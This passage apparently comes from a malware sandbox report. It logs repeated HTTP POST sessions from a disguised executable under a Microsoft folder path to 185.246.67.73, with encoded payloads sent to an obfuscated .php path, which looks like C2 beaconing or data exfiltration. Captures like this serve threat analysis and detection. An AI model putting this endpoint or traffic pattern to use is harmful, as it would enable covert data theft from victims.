Dec 8, 2024 15:27:27.519159079 CET	2472	OUT	Data Raw: 54 6c 52 6a 70 33 64 58 74 7a 70 2b 31 50 44 79 73 43 49 77 2b 4e 72 65 2f 74 37 57 74 73 4f 6b 4b 4a 57 75 68 36 49 58 37 68 69 54 6e 6e 35 4b 43 46 78 71 43 6a 2b 56 66 31 74 37 57 43 5a 75 62 6d 71 49 4b 32 50 67 36 56 4e 6c 53 34 6f 59 4e 66 Data Ascii: TlRjp3dXtzp+1PDysCIw+Nre/t7WtsOkKJWuh6IX7hiTnn5KCFxqCj+Vf1t7WCZubmqIK2Pg6VNlS4oYNfltoQVJifjFVrXDTIICsQ7u0aSx+8+z7i4eEau2RpvGUhWch0pptzRpwLXzKLm879iyZ1Sq8QjE5EQF/MdBzMouwU77236kUtL+Xe20aSkOk5p1Jy6i9zqC+6GpGNoibrP9q8iEDyiF0HMLgQIYP22fYb4T+IHgsqX
Dec 8, 2024 15:27:28.261780977 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:28.932205915 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:27.050385952 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:27.403839111 CET	2584	OUT	Data Raw: 55 5c 43 5d 5b 46 55 53 54 5e 50 59 5b 5a 59 53 59 5d 59 5c 57 55 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U\C][FUST^PY[ZYSY]Y\WUQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.0)2_&609\,$#Z/8$X<X&#=';4<+/ ]!![ (
Dec 8, 2024 15:27:28.380140066 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:28.612236023 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:28.961730957 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:27:29.310036898 CET	2584	OUT	Data Raw: 50 5d 43 51 5b 41 50 54 54 5e 50 59 5b 5e 59 5d 59 59 59 5f 57 55 51 57 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P]CQ[APTT^PY[^Y]YYY_WUQWYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.[3["&)# )]-42 "X/+3$'012;" /</+ ]!![ 8
Dec 8, 2024 15:27:30.290189028 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:30.538415909 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:30.104617119 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue
Dec 8, 2024 15:27:30.450773954 CET	1904	OUT	Data Raw: 55 58 46 56 5e 47 55 52 54 5e 50 59 5b 51 59 53 59 5c 59 5c 57 54 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UXFV^GURT^PY[QYSY\Y\WTQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.%>>&_9X!0*-':#8Y.(;0-,Y15&;!#?Z/; ]!![
Dec 8, 2024 15:27:31.437135935 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:31.676366091 CET	324	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 1f 31 1c 2b 1d 3e 3a 39 00 27 3f 27 58 30 2b 20 02 2a 20 33 16 24 5f 27 02 2c 14 23 56 23 2f 20 5e 24 3d 02 5d 21 02 3b 1a 39 38 20 5a 06 10 21 5e 26 06 3f 10 3f 28 21 5d 26 2b 21 42 35 0e 20 1c 30 2d 2b 19 2a 04 0b 04 37 3f 3f 56 32 3d 03 1e 3a 36 3d 07 32 33 30 09 26 0c 2c 55 0f 1f 26 18 26 31 38 0f 22 34 3e 12 22 23 3b 17 31 35 0c 57 36 01 2b 0f 3f 03 24 5b 3c 0c 0e 5c 34 0b 27 5e 2e 2b 29 5e 3d 54 20 0c 24 06 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 91+>:9'?'X0+ * 3$_',#V#/ ^$=]!;98 Z!^&??(!]&+!B5 0-+7??V2=:6=230&,U&&18"4>"#;15W6+?$[<\4'^.+)^=T $ S.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:30.922065020 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:27:31.299752951 CET	2584	OUT	Data Raw: 50 53 43 54 5e 40 55 53 54 5e 50 59 5b 5c 59 5b 59 58 59 59 57 56 51 56 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSCT^@UST^PY[\Y[YXYYWVQVYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3[11:!55Y.':Y4/; ' Z2 %&+7'^/ ]!![ 0
Dec 8, 2024 15:27:32.238776922 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:32.472199917 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:32.708889961 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:27:33.060019970 CET	2584	OUT	Data Raw: 55 5f 46 53 5e 44 55 50 54 5e 50 59 5b 5e 59 5b 59 55 59 5d 57 50 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U_FS^DUPT^PY[^Y[YUY]WPQYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-%>.2%5:B_"8&X8;?$><20.\'+:7;.; ]!![ 8
Dec 8, 2024 15:27:34.033162117 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:34.269157887 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:34.510154009 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:34.856924057 CET	2584	OUT	Data Raw: 55 58 46 50 5b 46 55 53 54 5e 50 59 5b 5f 59 5d 59 5d 59 5c 57 54 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UXFP[FUST^PY[_Y]Y]Y\WTQYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.%-5%."!Z,4#Z/+8S$>#%=&("7</ ]!![
Dec 8, 2024 15:27:35.831799030 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:36.064136028 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:36.301444054 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:36.656260014 CET	2584	OUT	Data Raw: 55 5f 43 52 5e 40 55 57 54 5e 50 59 5b 5d 59 53 59 58 59 5b 57 53 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U_CR^@UWT^PY[]YSYXY[WSQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-0..1=!#-'.Y4[/($$=?'#*2+& ?8/ ]!![ 4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:36.808207989 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:37.153835058 CET	1904	OUT	Data Raw: 50 5b 46 54 5e 43 55 55 54 5e 50 59 5b 50 59 5c 59 54 59 5b 57 52 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P[FT^CUUT^PY[PY\YTY[WRQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-0==X%="9].$]4"[88+$X,Y%3^&+&X48 ]!![
Dec 8, 2024 15:27:38.154244900 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:38.392328978 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 0f 32 26 23 53 3e 03 3a 1e 27 2c 3b 5a 27 2b 23 5f 2b 30 05 15 24 07 3c 5d 38 39 2f 1d 21 3c 2b 05 30 2d 02 5d 36 05 30 08 2d 12 20 5a 06 10 22 02 25 59 3c 00 2a 28 25 5b 24 38 25 40 36 34 20 1c 27 3d 05 51 3e 14 07 07 37 01 02 0f 32 03 0f 56 2d 0b 35 00 26 30 02 0f 31 1c 2c 55 0f 1f 25 0b 33 0b 28 0a 37 37 3d 0d 20 30 20 07 32 0b 29 0b 22 06 30 57 2a 2e 3c 11 28 22 38 5c 22 21 24 06 2c 38 2d 14 2a 0b 28 09 33 3c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :2&#S>:',;Z'+#_+0$<]89/!<+0-]60- Z"%Y<(%[$8%@64 '=Q>72V-5&01,U%3(77= 0 2)"0W.<("8\"!$,8-(3< S.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49755	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:36.992156982 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:37.341309071 CET	2584	OUT	Data Raw: 50 58 46 56 5b 44 55 5f 54 5e 50 59 5b 5e 59 5b 59 5d 59 5c 57 57 51 5d 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PXFV[DU_T^PY[^Y[Y]Y\WWQ]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-%=-X2=Z! *.^#^9;($.('0-%(" ,8; ]!![ 8
Dec 8, 2024 15:27:38.312613964 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:38.552542925 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49756	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:38.784037113 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:27:39.138390064 CET	2584	OUT	Data Raw: 55 59 46 50 5b 48 55 5e 54 5e 50 59 5b 50 59 5b 59 5a 59 5f 57 56 51 5b 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UYFP[HU^T^PY[PY[YZY_WVQ[YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.^3&!]!39Y,7* ;>,?$31"Y1;7,8.+ ]!![
Dec 8, 2024 15:27:40.115076065 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:40.348371029 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49757	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:40.618238926 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:40.966372013 CET	2584	OUT	Data Raw: 55 5e 46 51 5b 45 55 54 54 5e 50 59 5b 5e 59 5b 59 58 59 5e 57 53 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U^FQ[EUTT^PY[^Y[YXY^WSQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-$"&:![!#6-7:^7+6.+#3>?1!';X#<'Z, ]!![ 8
Dec 8, 2024 15:27:41.938554049 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:42.180918932 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49758	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:42.433418036 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:42.778847933 CET	2584	OUT	Data Raw: 50 58 46 54 5e 47 50 51 54 5e 50 59 5b 5e 59 5d 59 5f 59 57 57 5d 51 57 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PXFT^GPQT^PY[^Y]Y_YWW]QWYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-$!Y&5[! =:_78=;(($02#2_&+ Z(;; ]!![ 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
